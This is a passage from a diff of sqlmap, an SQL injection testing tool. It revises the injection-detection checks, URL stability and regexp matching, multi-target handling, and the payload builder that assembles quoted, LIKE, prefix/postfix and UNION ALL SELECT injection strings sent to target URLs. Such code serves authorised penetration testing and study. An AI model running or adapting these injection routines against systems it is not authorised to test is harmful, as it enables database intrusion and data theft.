payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != kb.defaultResult:
|
if falseResult != kb.defaultResult:
|
||||||
logMsg = "confirming LIKE single quoted string injection "
|
infoMsg = "confirming LIKE single quoted string injection "
|
||||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != kb.defaultResult:
|
if falseResult != kb.defaultResult:
|
||||||
logMsg = "%s parameter '%s' is " % (place, parameter)
|
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||||
logMsg += "LIKE single quoted string injectable "
|
infoMsg += "LIKE single quoted string injectable "
|
||||||
logMsg += "with %d parenthesis" % parenthesis
|
infoMsg += "with %d parenthesis" % parenthesis
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
return "likesingle"
|
return "likesingle"
|
||||||
|
|
||||||
logMsg = "%s parameter '%s' is not " % (place, parameter)
|
infoMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||||
logMsg += "LIKE single quoted string injectable"
|
infoMsg += "LIKE single quoted string injectable"
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
logMsg = "testing double quoted string injection "
|
infoMsg = "testing double quoted string injection "
|
||||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||||
trueResult = Request.queryPage(payload, place)
|
trueResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if trueResult == kb.defaultResult:
|
if trueResult == kb.defaultResult:
|
||||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
|
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != kb.defaultResult:
|
if falseResult != kb.defaultResult:
|
||||||
logMsg = "confirming double quoted string injection "
|
infoMsg = "confirming double quoted string injection "
|
||||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != kb.defaultResult:
|
if falseResult != kb.defaultResult:
|
||||||
logMsg = "%s parameter '%s' is " % (place, parameter)
|
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||||
logMsg += "double quoted string injectable "
|
infoMsg += "double quoted string injectable "
|
||||||
logMsg += "with %d parenthesis" % parenthesis
|
infoMsg += "with %d parenthesis" % parenthesis
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
return "stringdouble"
|
return "stringdouble"
|
||||||
|
|
||||||
logMsg = "%s parameter '%s' is not " % (place, parameter)
|
infoMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||||
logMsg += "double quoted string injectable"
|
infoMsg += "double quoted string injectable"
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
logMsg = "testing LIKE double quoted string injection "
|
infoMsg = "testing LIKE double quoted string injection "
|
||||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
|
||||||
trueResult = Request.queryPage(payload, place)
|
trueResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if trueResult == kb.defaultResult:
|
if trueResult == kb.defaultResult:
|
||||||
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + 'A'))
|
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != kb.defaultResult:
|
if falseResult != kb.defaultResult:
|
||||||
logMsg = "confirming LIKE double quoted string injection "
|
infoMsg = "confirming LIKE double quoted string injection "
|
||||||
logMsg += "on %s parameter '%s'" % (place, parameter)
|
infoMsg += "on %s parameter '%s'" % (place, parameter)
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
|
||||||
falseResult = Request.queryPage(payload, place)
|
falseResult = Request.queryPage(payload, place)
|
||||||
|
|
||||||
if falseResult != kb.defaultResult:
|
if falseResult != kb.defaultResult:
|
||||||
logMsg = "%s parameter '%s' is " % (place, parameter)
|
infoMsg = "%s parameter '%s' is " % (place, parameter)
|
||||||
logMsg += "LIKE double quoted string injectable "
|
infoMsg += "LIKE double quoted string injectable "
|
||||||
logMsg += "with %d parenthesis" % parenthesis
|
infoMsg += "with %d parenthesis" % parenthesis
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
return "likedouble"
|
return "likedouble"
|
||||||
|
|
||||||
logMsg = "%s parameter '%s' is not " % (place, parameter)
|
infoMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||||
logMsg += "LIKE double quoted string injectable"
|
infoMsg += "LIKE double quoted string injectable"
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
return None
|
return None
|
||||||
|
|
||||||
@@ -217,8 +255,8 @@ def checkDynParam(place, parameter, value):
|
|||||||
dynamicity might depend on another parameter.
|
dynamicity might depend on another parameter.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
logMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter)
|
infoMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter)
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
randInt = randomInt()
|
randInt = randomInt()
|
||||||
payload = agent.payload(place, parameter, value, str(randInt))
|
payload = agent.payload(place, parameter, value, str(randInt))
|
||||||
@@ -227,8 +265,8 @@ def checkDynParam(place, parameter, value):
|
|||||||
if kb.defaultResult == dynResult1:
|
if kb.defaultResult == dynResult1:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
logMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
|
infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
payload = agent.payload(place, parameter, value, "'%s" % randomStr())
|
payload = agent.payload(place, parameter, value, "'%s" % randomStr())
|
||||||
dynResult2 = Request.queryPage(payload, place)
|
dynResult2 = Request.queryPage(payload, place)
|
||||||
@@ -253,20 +291,76 @@ def checkStability():
|
|||||||
like for instance string matching (--string).
|
like for instance string matching (--string).
|
||||||
"""
|
"""
|
||||||
|
|
||||||
logMsg = "testing if the url is stable, wait a few seconds"
|
infoMsg = "testing if the url is stable, wait a few seconds"
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
firstPage, firstHeaders = Request.queryPage(content=True)
|
||||||
|
time.sleep(0.5)
|
||||||
|
|
||||||
|
secondPage, secondHeaders = Request.queryPage(content=True)
|
||||||
|
time.sleep(0.5)
|
||||||
|
|
||||||
|
thirdPage, thirdHeaders = Request.queryPage(content=True)
|
||||||
|
|
||||||
|
condition = firstPage == secondPage
|
||||||
|
condition &= secondPage == thirdPage
|
||||||
|
|
||||||
|
if condition == False:
|
||||||
|
# Prepare for the comparison algorithm based on Content-Length
|
||||||
|
# header value
|
||||||
|
contentLengths = []
|
||||||
|
requestsHeaders = ( firstHeaders, secondHeaders, thirdHeaders )
|
||||||
|
|
||||||
|
for requestHeaders in requestsHeaders:
|
||||||
|
requestHeaders = str(requestHeaders).lower()
|
||||||
|
|
||||||
|
clHeader = re.search("content-length:\s+([\d]+)", requestHeaders, re.I | re.M)
|
||||||
|
|
||||||
|
if clHeader and clHeader.group(1).isdigit():
|
||||||
|
contentLengths.append(int(clHeader.group(1)))
|
||||||
|
|
||||||
|
if contentLengths:
|
||||||
|
conf.contentLengths = ( min(contentLengths), max(contentLengths) )
|
||||||
|
|
||||||
|
warnMsg = "url is not stable, sqlmap inspected the headers "
|
||||||
|
warnMsg += "and identified that Content-Length can be used "
|
||||||
|
warnMsg += "in the comparison algorithm"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
kb.defaultResult = True
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
# Prepare for the comparison algorithm based on page content's
|
||||||
|
# stable lines subset
|
||||||
|
counter = 0
|
||||||
|
firstLines = firstPage.split("\n")
|
||||||
|
secondLines = secondPage.split("\n")
|
||||||
|
thirdLines = thirdPage.split("\n")
|
||||||
|
|
||||||
|
for firstLine in firstLines:
|
||||||
|
if counter > len(secondLines) or counter > len(thirdLines):
|
||||||
|
break
|
||||||
|
|
||||||
|
if firstLine in secondLines and firstLine in thirdLines:
|
||||||
|
conf.equalLines.append(firstLine)
|
||||||
|
|
||||||
|
counter += 1
|
||||||
|
|
||||||
|
if conf.equalLines:
|
||||||
|
warnMsg = "url is not stable, sqlmap inspected the page "
|
||||||
|
warnMsg += "content and identified a stable lines subset "
|
||||||
|
warnMsg += "to be used in the comparison algorithm"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
kb.defaultResult = True
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
if condition == True:
|
||||||
|
logMsg = "url is stable"
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
firstResult = Request.queryPage()
|
|
||||||
time.sleep(0.5)
|
|
||||||
|
|
||||||
secondResult = Request.queryPage()
|
|
||||||
time.sleep(0.5)
|
|
||||||
|
|
||||||
thirdResult = Request.queryPage()
|
|
||||||
|
|
||||||
condition = firstResult == secondResult
|
|
||||||
condition &= secondResult == thirdResult
|
|
||||||
|
|
||||||
return condition
|
return condition
|
||||||
|
|
||||||
|
|
||||||
@@ -283,11 +377,11 @@ def checkString():
|
|||||||
if condition:
|
if condition:
|
||||||
return True
|
return True
|
||||||
|
|
||||||
logMsg = "testing if the provided string is within the "
|
infoMsg = "testing if the provided string is within the "
|
||||||
logMsg += "target URL page content"
|
infoMsg += "target URL page content"
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
page = Request.queryPage(content=True)
|
page, _ = Request.queryPage(content=True)
|
||||||
|
|
||||||
if conf.string in page:
|
if conf.string in page:
|
||||||
setString()
|
setString()
|
||||||
@@ -301,14 +395,46 @@ def checkString():
|
|||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def checkRegexp():
|
||||||
|
if not conf.regexp:
|
||||||
|
return True
|
||||||
|
|
||||||
|
condition = (
|
||||||
|
kb.resumedQueries.has_key(conf.url) and
|
||||||
|
kb.resumedQueries[conf.url].has_key("Regular expression") and
|
||||||
|
kb.resumedQueries[conf.url]["Regular expression"][:-1] == conf.regexp
|
||||||
|
)
|
||||||
|
|
||||||
|
if condition:
|
||||||
|
return True
|
||||||
|
|
||||||
|
infoMsg = "testing if the provided regular expression matches within "
|
||||||
|
infoMsg += "the target URL page content"
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
page, _ = Request.queryPage(content=True)
|
||||||
|
|
||||||
|
if re.search(conf.regexp, page, re.I | re.M):
|
||||||
|
setRegexp()
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
errMsg = "you provided '%s' as the regular expression to " % conf.regexp
|
||||||
|
errMsg += "match, but such a regular expression does not have any "
|
||||||
|
errMsg += "match within the target URL page content, please provide "
|
||||||
|
errMsg += "another regular expression."
|
||||||
|
logger.error(errMsg)
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
def checkConnection():
|
def checkConnection():
|
||||||
logMsg = "testing connection to the target url"
|
infoMsg = "testing connection to the target url"
|
||||||
logger.info(logMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
kb.defaultResult = Request.queryPage()
|
kb.defaultResult = Request.queryPage()
|
||||||
except sqlmapConnectionException, exceptionMsg:
|
except sqlmapConnectionException, exceptionMsg:
|
||||||
if conf.googleDork:
|
if conf.multipleTargets:
|
||||||
exceptionMsg += ", skipping to next url"
|
exceptionMsg += ", skipping to next url"
|
||||||
logger.warn(exceptionMsg)
|
logger.warn(exceptionMsg)
|
||||||
return False
|
return False
|
||||||
|
|||||||
@@ -29,6 +29,7 @@ from lib.controller.checks import checkSqlInjection
|
|||||||
from lib.controller.checks import checkDynParam
|
from lib.controller.checks import checkDynParam
|
||||||
from lib.controller.checks import checkStability
|
from lib.controller.checks import checkStability
|
||||||
from lib.controller.checks import checkString
|
from lib.controller.checks import checkString
|
||||||
|
from lib.controller.checks import checkRegexp
|
||||||
from lib.controller.checks import checkConnection
|
from lib.controller.checks import checkConnection
|
||||||
from lib.core.common import paramToDict
|
from lib.core.common import paramToDict
|
||||||
from lib.core.common import readInput
|
from lib.core.common import readInput
|
||||||
@@ -92,28 +93,45 @@ def start():
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
if conf.url:
|
if conf.url:
|
||||||
kb.targetUrls.add(conf.url)
|
kb.targetUrls.add(( conf.url, conf.method, conf.data, conf.cookie ))
|
||||||
|
|
||||||
if conf.configFile and not kb.targetUrls:
|
if conf.configFile and not kb.targetUrls:
|
||||||
errMsg = "you did not edit the configuration file properly, set "
|
errMsg = "you did not edit the configuration file properly, set "
|
||||||
errMsg += "the target url properly"
|
errMsg += "the target url, list of targets or google dork"
|
||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
|
|
||||||
|
if kb.targetUrls and len(kb.targetUrls) > 1:
|
||||||
|
infoMsg = "sqlmap got a total of %d targets" % len(kb.targetUrls)
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
hostCount = 0
|
hostCount = 0
|
||||||
injData = []
|
|
||||||
receivedCookies = []
|
receivedCookies = []
|
||||||
cookieStr = ""
|
cookieStr = ""
|
||||||
setCookieAsInjectable = True
|
setCookieAsInjectable = True
|
||||||
|
|
||||||
for targetUrl in kb.targetUrls:
|
for targetUrl, targetMethod, targetData, targetCookie in kb.targetUrls:
|
||||||
if conf.googleDork:
|
conf.url = targetUrl
|
||||||
hostCount += 1
|
conf.method = targetMethod
|
||||||
|
conf.data = targetData
|
||||||
|
conf.cookie = targetCookie
|
||||||
|
injData = []
|
||||||
|
|
||||||
message = "url %d: %s, " % (hostCount, targetUrl)
|
if conf.multipleTargets:
|
||||||
message += "do you want to test this url? [Y/n/q] "
|
hostCount += 1
|
||||||
|
message = "url %d:\n%s %s" % (hostCount, conf.method or "GET", targetUrl)
|
||||||
|
|
||||||
|
if conf.cookie:
|
||||||
|
message += "\nCookie: %s" % conf.cookie
|
||||||
|
|
||||||
|
if conf.data:
|
||||||
|
message += "\nPOST data: %s" % conf.data
|
||||||
|
|
||||||
|
message += "\ndo you want to test this url? [Y/n/q] "
|
||||||
test = readInput(message, default="Y")
|
test = readInput(message, default="Y")
|
||||||
|
|
||||||
if test[0] in ("n", "N"):
|
if not test:
|
||||||
|
pass
|
||||||
|
elif test[0] in ("n", "N"):
|
||||||
continue
|
continue
|
||||||
elif test[0] in ("q", "Q"):
|
elif test[0] in ("q", "Q"):
|
||||||
break
|
break
|
||||||
@@ -121,10 +139,9 @@ def start():
|
|||||||
logMsg = "testing url %s" % targetUrl
|
logMsg = "testing url %s" % targetUrl
|
||||||
logger.info(logMsg)
|
logger.info(logMsg)
|
||||||
|
|
||||||
conf.url = targetUrl
|
|
||||||
initTargetEnv()
|
initTargetEnv()
|
||||||
|
|
||||||
if not checkConnection() or not checkString():
|
if not checkConnection() or not checkString() or not checkRegexp():
|
||||||
continue
|
continue
|
||||||
|
|
||||||
for _, cookie in enumerate(conf.cj):
|
for _, cookie in enumerate(conf.cj):
|
||||||
@@ -157,16 +174,13 @@ def start():
|
|||||||
__testableParameters = True
|
__testableParameters = True
|
||||||
|
|
||||||
if not kb.injPlace or not kb.injParameter or not kb.injType:
|
if not kb.injPlace or not kb.injParameter or not kb.injType:
|
||||||
if not conf.string:
|
if not conf.string and not conf.regexp and not conf.eRegexp:
|
||||||
if checkStability():
|
if not checkStability():
|
||||||
logMsg = "url is stable"
|
errMsg = "url is not stable, try with --string or "
|
||||||
logger.info(logMsg)
|
errMsg += "--regexp options, refer to the user's manual "
|
||||||
else:
|
errMsg += "paragraph 'Page comparison' for details"
|
||||||
errMsg = "url is not stable, try with --string option, refer "
|
|
||||||
errMsg += "to the user's manual paragraph 'String match' "
|
|
||||||
errMsg += "for details"
|
|
||||||
|
|
||||||
if conf.googleDork:
|
if conf.multipleTargets:
|
||||||
errMsg += ", skipping to next url"
|
errMsg += ", skipping to next url"
|
||||||
logger.warn(errMsg)
|
logger.warn(errMsg)
|
||||||
|
|
||||||
@@ -201,30 +215,41 @@ def start():
|
|||||||
|
|
||||||
break
|
break
|
||||||
else:
|
else:
|
||||||
|
infoMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||||
|
infoMsg += "injectable with %d parenthesis" % parenthesis
|
||||||
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
if not injData:
|
||||||
warnMsg = "%s parameter '%s' is not " % (place, parameter)
|
warnMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||||
warnMsg += "injectable with %d parenthesis" % parenthesis
|
warnMsg += "injectable"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
if not kb.injPlace or not kb.injParameter or not kb.injType:
|
if not kb.injPlace or not kb.injParameter or not kb.injType:
|
||||||
if len(injData) == 1:
|
if len(injData) == 1:
|
||||||
injDataSelected = injData[0]
|
injDataSelected = injData[0]
|
||||||
|
|
||||||
elif len(injData) > 1:
|
elif len(injData) > 1:
|
||||||
injDataSelected = __selectInjection(injData)
|
injDataSelected = __selectInjection(injData)
|
||||||
|
|
||||||
|
elif conf.multipleTargets:
|
||||||
|
continue
|
||||||
|
|
||||||
else:
|
else:
|
||||||
return
|
return
|
||||||
|
|
||||||
if injDataSelected == "Quit":
|
if injDataSelected == "Quit":
|
||||||
return
|
return
|
||||||
|
|
||||||
else:
|
else:
|
||||||
kb.injPlace, kb.injParameter, kb.injType = injDataSelected
|
kb.injPlace, kb.injParameter, kb.injType = injDataSelected
|
||||||
setInjection()
|
setInjection()
|
||||||
|
|
||||||
if not conf.googleDork and ( not kb.injPlace or not kb.injParameter or not kb.injType ):
|
if not conf.multipleTargets and ( not kb.injPlace or not kb.injParameter or not kb.injType ):
|
||||||
raise sqlmapNotVulnerableException, "all parameters are not injectable"
|
raise sqlmapNotVulnerableException, "all parameters are not injectable"
|
||||||
elif kb.injPlace and kb.injParameter and kb.injType:
|
elif kb.injPlace and kb.injParameter and kb.injType:
|
||||||
condition = False
|
condition = False
|
||||||
|
|
||||||
if conf.googleDork:
|
if conf.multipleTargets:
|
||||||
message = "do you want to exploit this SQL injection? [Y/n] "
|
message = "do you want to exploit this SQL injection? [Y/n] "
|
||||||
exploit = readInput(message, default="Y")
|
exploit = readInput(message, default="Y")
|
||||||
|
|
||||||
|
|||||||
@@ -55,7 +55,7 @@ def setHandler():
|
|||||||
|
|
||||||
for dbmsAliases, dbmsEntry in dbmsMap:
|
for dbmsAliases, dbmsEntry in dbmsMap:
|
||||||
if conf.dbms and conf.dbms not in dbmsAliases:
|
if conf.dbms and conf.dbms not in dbmsAliases:
|
||||||
debugMsg = "skipping to test for %s" % dbmsNames[count]
|
debugMsg = "skipping test for %s" % dbmsNames[count]
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
count += 1
|
count += 1
|
||||||
continue
|
continue
|
||||||
|
|||||||
@@ -47,24 +47,28 @@ class Agent:
|
|||||||
temp.stop = randomStr(6)
|
temp.stop = randomStr(6)
|
||||||
|
|
||||||
|
|
||||||
def payload(self, place=None, parameter=None, value=None, newValue=None):
|
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False):
|
||||||
"""
|
"""
|
||||||
This method replaces the affected parameter with the SQL
|
This method replaces the affected parameter with the SQL
|
||||||
injection statement to request
|
injection statement to request
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
negValue = ""
|
||||||
retValue = ""
|
retValue = ""
|
||||||
|
|
||||||
|
if negative == True or conf.paramNegative == True:
|
||||||
|
negValue = "-"
|
||||||
|
|
||||||
# After identifing the injectable parameter
|
# After identifing the injectable parameter
|
||||||
if kb.injPlace == "User-Agent":
|
if kb.injPlace == "User-Agent":
|
||||||
retValue = kb.injParameter.replace(kb.injParameter,
|
retValue = kb.injParameter.replace(kb.injParameter,
|
||||||
kb.injParameter + newValue)
|
"%s%s" % (negValue, kb.injParameter + newValue))
|
||||||
elif kb.injParameter:
|
elif kb.injParameter:
|
||||||
paramString = conf.parameters[kb.injPlace]
|
paramString = conf.parameters[kb.injPlace]
|
||||||
paramDict = conf.paramDict[kb.injPlace]
|
paramDict = conf.paramDict[kb.injPlace]
|
||||||
value = paramDict[kb.injParameter]
|
value = paramDict[kb.injParameter]
|
||||||
retValue = paramString.replace("%s=%s" % (kb.injParameter, value),
|
retValue = paramString.replace("%s=%s" % (kb.injParameter, value),
|
||||||
"%s=%s" % (kb.injParameter, value + newValue))
|
"%s=%s%s" % (kb.injParameter, negValue, value + newValue))
|
||||||
|
|
||||||
# Before identifing the injectable parameter
|
# Before identifing the injectable parameter
|
||||||
elif parameter == "User-Agent":
|
elif parameter == "User-Agent":
|
||||||
@@ -86,7 +90,10 @@ class Agent:
|
|||||||
|
|
||||||
query = ""
|
query = ""
|
||||||
|
|
||||||
if kb.injType == "numeric":
|
if conf.prefix:
|
||||||
|
query = conf.prefix
|
||||||
|
else:
|
||||||
|
if kb.injType == "numeric" or conf.postfix:
|
||||||
pass
|
pass
|
||||||
elif kb.injType in ( "stringsingle", "likesingle" ):
|
elif kb.injType in ( "stringsingle", "likesingle" ):
|
||||||
query = "'"
|
query = "'"
|
||||||
@@ -95,7 +102,7 @@ class Agent:
|
|||||||
else:
|
else:
|
||||||
raise sqlmapNoneDataException, "unsupported injection type"
|
raise sqlmapNoneDataException, "unsupported injection type"
|
||||||
|
|
||||||
if kb.parenthesis != None:
|
if kb.parenthesis not in ( None, 0 ):
|
||||||
query += "%s " % (")" * kb.parenthesis)
|
query += "%s " % (")" * kb.parenthesis)
|
||||||
|
|
||||||
query += string
|
query += string
|
||||||
@@ -113,8 +120,11 @@ class Agent:
|
|||||||
randStr = randomStr()
|
randStr = randomStr()
|
||||||
|
|
||||||
if comment:
|
if comment:
|
||||||
string += "%s" % comment
|
string += comment
|
||||||
|
|
||||||
|
if conf.postfix:
|
||||||
|
string += " %s" % conf.postfix
|
||||||
|
else:
|
||||||
if kb.parenthesis != None:
|
if kb.parenthesis != None:
|
||||||
string += " AND %s" % ("(" * kb.parenthesis)
|
string += " AND %s" % ("(" * kb.parenthesis)
|
||||||
else:
|
else:
|
||||||
@@ -220,24 +230,51 @@ class Agent:
|
|||||||
|
|
||||||
|
|
||||||
def getFields(self, query):
|
def getFields(self, query):
|
||||||
fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
|
"""
|
||||||
fieldsSelectDistinct = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", query, re.I)
|
Take in input a query string and return its fields (columns) and
|
||||||
fieldsSelectFrom = re.search("\ASELECT\s+(.+?)\s+FROM\s+", query, re.I)
|
more details.
|
||||||
fieldsSelect = re.search("\ASELECT\s+(.*)", query, re.I)
|
|
||||||
|
Example:
|
||||||
|
|
||||||
|
Input: SELECT user, password FROM mysql.user
|
||||||
|
Output: user,password
|
||||||
|
|
||||||
|
@param query: query to be processed
|
||||||
|
@type query: C{str}
|
||||||
|
|
||||||
|
@return: query fields (columns) and more details
|
||||||
|
@rtype: C{str}
|
||||||
|
"""
|
||||||
|
|
||||||
|
if query.startswith("SELECT ") and "(SELECT " in query:
|
||||||
|
firstChar = "\\("
|
||||||
|
else:
|
||||||
|
firstChar = "\\A"
|
||||||
|
|
||||||
|
fieldsSelectTop = re.search("%sSELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM" % firstChar, query, re.I)
|
||||||
|
fieldsSelectDistinct = re.search("%sSELECT\s+DISTINCT\((.+?)\)\s+FROM" % firstChar, query, re.I)
|
||||||
|
fieldsSelectFrom = re.search("%sSELECT\s+(.+?)\s+FROM\s+" % firstChar, query, re.I)
|
||||||
|
fieldsSelect = re.search("%sSELECT\s+(.*)" % firstChar, query, re.I)
|
||||||
fieldsNoSelect = query
|
fieldsNoSelect = query
|
||||||
|
|
||||||
if fieldsSelectTop:
|
if fieldsSelectTop:
|
||||||
fieldsToCast = fieldsSelectTop.groups()[0]
|
fieldsToCastStr = fieldsSelectTop.groups()[0]
|
||||||
elif fieldsSelectDistinct:
|
elif fieldsSelectDistinct:
|
||||||
fieldsToCast = fieldsSelectDistinct.groups()[0]
|
fieldsToCastStr = fieldsSelectDistinct.groups()[0]
|
||||||
elif fieldsSelectFrom:
|
elif fieldsSelectFrom:
|
||||||
fieldsToCast = fieldsSelectFrom.groups()[0]
|
fieldsToCastStr = fieldsSelectFrom.groups()[0]
|
||||||
elif fieldsSelect:
|
elif fieldsSelect:
|
||||||
fieldsToCast = fieldsSelect.groups()[0]
|
fieldsToCastStr = fieldsSelect.groups()[0]
|
||||||
elif fieldsNoSelect:
|
elif fieldsNoSelect:
|
||||||
fieldsToCast = fieldsNoSelect
|
fieldsToCastStr = fieldsNoSelect
|
||||||
|
|
||||||
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsToCast
|
fieldsToCastList = fieldsToCastStr.replace(", ", ",")
|
||||||
|
fieldsToCastList = fieldsToCastList.split(",")
|
||||||
|
|
||||||
|
if query.startswith("SELECT ") and "(SELECT " in query:
|
||||||
|
fieldsSelectFrom = None
|
||||||
|
|
||||||
|
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsToCastList, fieldsToCastStr
|
||||||
|
|
||||||
|
|
||||||
def concatQuery(self, query):
|
def concatQuery(self, query):
|
||||||
@@ -269,9 +306,9 @@ class Agent:
|
|||||||
concatQuery = ""
|
concatQuery = ""
|
||||||
query = query.replace(", ", ",")
|
query = query.replace(", ", ",")
|
||||||
|
|
||||||
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsToCast = self.getFields(query)
|
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, _, fieldsToCastStr = self.getFields(query)
|
||||||
castedFields = self.nullCastConcatFields(fieldsToCast)
|
castedFields = self.nullCastConcatFields(fieldsToCastStr)
|
||||||
concatQuery = query.replace(fieldsToCast, castedFields, 1)
|
concatQuery = query.replace(fieldsToCastStr, castedFields, 1)
|
||||||
|
|
||||||
if kb.dbms == "MySQL":
|
if kb.dbms == "MySQL":
|
||||||
if fieldsSelectFrom:
|
if fieldsSelectFrom:
|
||||||
@@ -343,7 +380,7 @@ class Agent:
|
|||||||
@rtype: C{str}
|
@rtype: C{str}
|
||||||
"""
|
"""
|
||||||
|
|
||||||
inbandQuery = self.prefixQuery("UNION ALL SELECT ")
|
inbandQuery = self.prefixQuery(" UNION ALL SELECT ")
|
||||||
|
|
||||||
if not exprPosition:
|
if not exprPosition:
|
||||||
exprPosition = kb.unionPosition
|
exprPosition = kb.unionPosition
|
||||||
@@ -356,7 +393,7 @@ class Agent:
|
|||||||
inbandQuery += ", "
|
inbandQuery += ", "
|
||||||
|
|
||||||
if element == exprPosition:
|
if element == exprPosition:
|
